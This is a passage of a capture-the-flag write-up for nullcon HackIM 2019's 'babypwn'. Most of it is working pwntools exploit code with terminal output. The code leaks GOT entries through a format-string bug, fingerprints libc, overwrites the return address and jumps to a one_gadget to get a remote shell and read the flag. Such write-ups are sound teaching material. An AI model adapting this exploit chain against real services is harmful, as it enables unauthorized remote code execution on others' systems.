#!/usr/bin/env python
from pwn import *
puts_got = 0x00600fb0
malloc_got = 0x00600fe0
#p = process('./challenge')
p = remote('pwn.ctf.nullcon.net', 4001)
p.sendline('y')
p.sendline('.%8$s.%9$s.')
p.sendline('4')
p.sendline(str(puts_got))
p.sendline(str(0))
p.sendline(str(malloc_got))
p.sendline(str(0))
leak = p.recv(1000)
print(hexdump(leak))
The highlighted output contains the values of the GOT entries for puts
and malloc
:
root@kali:~/Documents/nullcon19/babypwn# ./leak.py
[+] Opening connection to pwn.ctf.nullcon.net on port 4001: Done
00000000 43 72 65 61 74 65 20 61 20 74 72 65 73 73 75 72 │Crea│te a│ tre│ssur│
00000010 65 20 62 6f 78 3f 0d 0a 6e 61 6d 65 3a 20 48 6f │e bo│x?··│name│: Ho│
00000020 77 20 6d 61 6e 79 20 63 6f 69 6e 73 20 64 6f 20 │w ma│ny c│oins│ do │
00000030 79 6f 75 20 68 61 76 65 3f 0d 0a 54 72 65 73 73 │you │have│?··T│ress│
00000040 75 72 65 20 42 6f 78 3a 20 2e 90 f6 56 47 84 7f │ure │Box:│ .··│····│
00000050 2e 30 41 58 47 84 7f 2e 20 63 72 65 61 74 65 64 │.···│···.│ cre│ated│
00000060 21 0d 0a │!··│
00000062
Accordingly the values are 0x7f844756f690
and 0x7f8447584130
.
Now we can use the last three digits to look up the libc version on https://libc.blukat.me/:
Thus the libc version used on the CTF server is libc6_2.23-0ubuntu10_amd64
. We can directly download the libc from https://libc.blukat.me/ and use one_gadget
to find the offset for all one gadgets:
root@kali:~/Documents/nullcon19/babypwn# wget https://libc.blukat.me/d/libc6_2.23-0ubuntu10_amd64.so
--2019-02-03 11:39:08-- https://libc.blukat.me/d/libc6_2.23-0ubuntu10_amd64.so
Resolving libc.blukat.me (libc.blukat.me)... 139.162.107.111
Connecting to libc.blukat.me (libc.blukat.me)|139.162.107.111|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1868984 (1.8M) [application/octet-stream]
Saving to: ‘libc6_2.23-0ubuntu10_amd64.so’
libc6_2.23-0ubuntu10_amd64. 100%[===========================================>] 1.78M 857KB/s in 2.1s
2019-02-03 11:39:11 (857 KB/s) - ‘libc6_2.23-0ubuntu10_amd64.so’ saved [1868984/1868984]
root@kali:~/Documents/nullcon19/babypwn# one_gadget libc6_2.23-0ubuntu10_amd64.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
Now we are set to forge our final exploit.
Final exploit
The final exploit does the following:
- Leak a libc address and calculate the libc base address (I precalculated the offset from the leak to the base address using the GOT entry leaks).
- Overwrite the return address with the address of
entry0
, which will simply start the program once again after we received the leak. - Calculate the address of the a
one gadget
using the received leak. - Overwrite the return address with the address of the
one gadget
. - Done 🙂
#!/usr/bin/env python
from pwn import *
p = remote('pwn.ctf.nullcon.net', 4001)
entry0 = 0x400710
og_offset = 0x45216
libc_leak_offset = 0x5f1168
# leak libc address
p.sendline('y')
p.sendline('.%10$p_')
p.sendline('-1')
# overwrite return address with entry0 address
for i in range(26): p.sendline('+')
p.sendline(str(entry0))
p.sendline(str(0))
p.sendline('a')
# receive leak
p.recvuntil('.')
libc_leak = p.recvuntil('_')
libc_leak = libc_leak[:libc_leak.index('_')]
libc_leak = int(libc_leak, 16)
log.success('libc_leak: ' + hex(libc_leak))
libc_base = libc_leak - libc_leak_offset
log.success('libc_base: ' + hex(libc_base))
# calculcate one gadget address
og = libc_base + og_offset
# second run of main function
p.sendline('y')
p.sendline('AAAA')
p.sendline('-1')
# overwrite return address with address of one gadget
for i in range(26): p.sendline('+')
p.sendline(str(og&0xffffffff))
p.sendline('y')
# receive shell
p.interactive()
Running the script:
root@kali:~/Documents/nullcon19/babypwn# ./final.py
[+] Opening connection to pwn.ctf.nullcon.net on port 4001: Done
[+] libc_leak: 0x7f8447af1168
[+] libc_base: 0x7f8447500000
[*] Switching to interactive mode
created!
Create a tressure box?
name: How many coins do you have?
Tressure Box: AAAA created!
$ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$ ls -al
total 36
drwxr-x--- 1 root pwn 4096 Feb 1 14:00 .
drwxr-xr-x 1 root root 4096 Feb 1 13:44 ..
-rw-r--r-- 1 root pwn 220 Feb 1 13:44 .bash_logout
-rw-r--r-- 1 root pwn 3771 Feb 1 13:44 .bashrc
-rw-r--r-- 1 root pwn 655 Feb 1 13:44 .profile
-rwxrwxr-x 1 root root 8824 Feb 1 13:58 challenge
-r--r----- 1 root pwn 42 Jan 28 06:28 flag
$ cat flag
hackim19{h0w_d1d_y0u_g37_th4t_c00k13?!!?}
$ exit
[*] Got EOF while reading in interactive
The flag is hackim19{h0w_d1d_y0u_g37_th4t_c00k13?!!?}
.